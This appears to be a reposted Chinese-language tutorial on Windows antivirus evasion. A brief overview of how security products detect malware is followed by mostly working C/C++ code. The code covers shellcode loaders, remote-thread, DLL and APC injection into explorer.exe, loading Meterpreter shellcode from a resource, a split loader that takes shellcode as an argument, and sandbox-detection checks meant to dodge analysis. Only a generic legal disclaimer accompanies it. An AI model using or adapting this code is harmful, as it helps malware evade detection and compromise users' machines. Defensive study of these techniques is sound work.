1、免杀的概念
2、杀软的分类
-
免费版,对所有用户开放,例如:360安全卫士、360杀毒、火绒、电脑管家等等 -
企业版,也是收费版,我们把他称为EDR,对比免费版,查杀更加严格,特别是针对于内存的查杀,比如:卡巴斯基、ESET(NOD32)等等
3、杀软检测方式
-
扫描压缩包技术;对压缩文件进行分析检查的技术 -
程序防窜改防护;保护程序避免被恶意程序修改 -
修复技术;对恶意程序所破坏的文件还原 -
智能扫描;扫描常用磁盘,系统关键位置,时间短 -
全盘扫描;扫描电脑全盘文件,时间长 -
勒索软件防护;保护电脑不受勒索软件的攻击 -
开机扫描;电脑开机时自动扫描,可以扫描压缩文档和不需要的程序
-
内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控读取到内存中的文件;监控读取到内存的网络数据。 -
文件监控:当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警 -
邮件监控:当发现电子邮件的附件存在病毒时进行拦截。office钓鱼 宏病毒 这种 -
网页防护:阻止网络攻击和不安全下载。mshta js脚本 -
行为防护:提醒用户可疑的应用程序行为。低危 和中
-
客户端提取特征上传,在云端检测到对应特征所标明的是否病毒状态,并返回 -
客户端上传特征,在云端无法检测到,则上传文件,文件通过杀软系统进行评判,得出总评分,对于无结果的,进行鉴定系统评分,总共得出结果返回给用户,并入云端库 -
云查杀的特点基本也可以概括为特征查杀。
4、扫描引擎
-
文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断); -
内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码优点:速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。
-
延时执行,部分沙箱存在运行时间限制 -
沙箱检测,对诸如硬盘容量、内存、虚拟机特征做检测 -
部分沙箱会对文件重命名,可以检测自身文件名是否被更改
经典技术
-
特征码免杀 -
花指令免杀 -
加壳免杀 -
内存免杀 -
分离免杀 -
资源修改 -
白名单免杀
-
shellcode 字符串 加密处理 加密代码 解密代码 aes -
添加无危害的代码执行流程扰乱杀软分析 比如延迟执行代码 绕过沙箱 -
分离免杀
avList
项目1、指针执行
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
int main()
{
((void(*)(void)) & buf)();
}
2、申请动态内存加载
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
int main()
{
char shellcode[] = "你的shellcode";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
3、嵌入汇编加载 x86 x64 肯定x86
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
unsigned char shellcode[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
4、强制类型转换
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
((void(WINAPI*)(void)) & buff)();
}
5、汇编花指令
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
unsigned char xff[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset xff;
_emit 0xFF;
_emit 0xE0;
}
}
1、远程线程注入
-
打开远程进程的句柄(Pid) -
使用VirtualAllocEx在远程进程中分配具有读、写和执行必要权限的内存空间 -
然后使用WriteProcessMemory将shellcode写入到内存缓冲区中 -
最后通过调用CreateRemoteThread来创建线程,其中将指向程序集存根的指针作为要执行的函数,将指向远程shellcode的指针作为自变量
#include "Windows.h"
#include <stdio.h>
int main(int argc, char* argv[])
{
unsigned char shellcode[] ="你的shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
2、经典Dll注入
#include "Windows.h"
#include <stdio.h>
int main(int argc, char* argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("你的DLL地址");
printf("Injecting DLL to PID: %in", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
3、资源加载shellcode
FindResource
来调用他#include "pch.h"
#include <iostream>
#include <Windows.h>
#include "resource.h"
int main()
{
// IDR_METERPRETER_BIN1 - 资源ID 包含shellcode
// METERPRETER_BIN 是我们嵌入资源时选择的资源类型名称
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcodeResouceData, shellcodeSize);
((void(*)())exec)();
return 0;
}
4、APC注入
-
为系统和驱动生成的APC(内核APC) -
为应用程序生成的APC(用户APC)
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, //指向一个用户提供的APC函数的指针(当指定线程执行可告警的等待时,将调用指向应用程序提供的APC函数的指针)
HANDLE hThread, //线程的句柄。句柄必须有THREAD_SET_CONTEXT访问权限
ULONG_PTR dwData //指定一个被传到pfnAPC参数指向的APC函数的值
-
KeInitalizeApc(初始化APC结构) -
KelnsertQueueAPC(将APC对象放入目标线程的APC队列中)
KeInitializeApc(Apc,
&Thread->Tcb, //KTHREAD
OriginalApcEnvironment,//这个参数包含要被注入的线程
PspQueueApcSpecialApc,
NULL,
ApcRoutine,
UserMode, //**
NormalContext); //**
-
查找explorer.exe进程ID -
在explorer.exe进程的内存空间中分配内存 -
将shellcode下入该内存位置 -
在explorer.exe中找到所有线程 -
将APC排队到所有这些线程中,APC指向shellcode -
当explorer.exe中的线程被调用时,我们的shellcode将被执行
explorer.exe,Process32First,Process32Next
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
DWORD SleepEx(
DWORD dwMilliseconds,
BOOL bAlertable
);
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "你的shellcode";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}
分离免杀Loader编写
for(unsigned int i = 0; i< iterations-1; i++) {
sscanf(shellcode+2*i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
typedef void (*some_func)();
some_func func = (some_func)exec;
func();
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[]) {
unsigned int char_in_hex;
char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++) {
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
typedef void(*some_one)();
some_one func = (some_one)exec;
func();
return 0;
}
DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
if (runningProcessesCount < 50) return false;
ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) return false; //20 分钟
DESKTOP-[0-9A-Z]{7}
(或其他具有随机字符的类似模式),我们可以将这些名称与已知的字符串进行比较//检查计算机名
DWORD computerNameLength = MAX_COMPUTERNAME_LENGTH;
wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
GetComputerNameW(computerName, &computerNameLength);
CharUpperW(computerName);
if (wcsstr(computerName, L"DESKTOP-")) return false;
//检查用户名
DWORD userNameLength = UNLEN;
wchar_t userName[UNLEN + 1];
GetUserNameW(userName, &userNameLength);
CharUpperW(userName);
if (wcsstr(userName, L"ADMIN")) return false;
原文始发于微信公众号(SecIN技术平台):原创|Windows下基础免杀技术
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论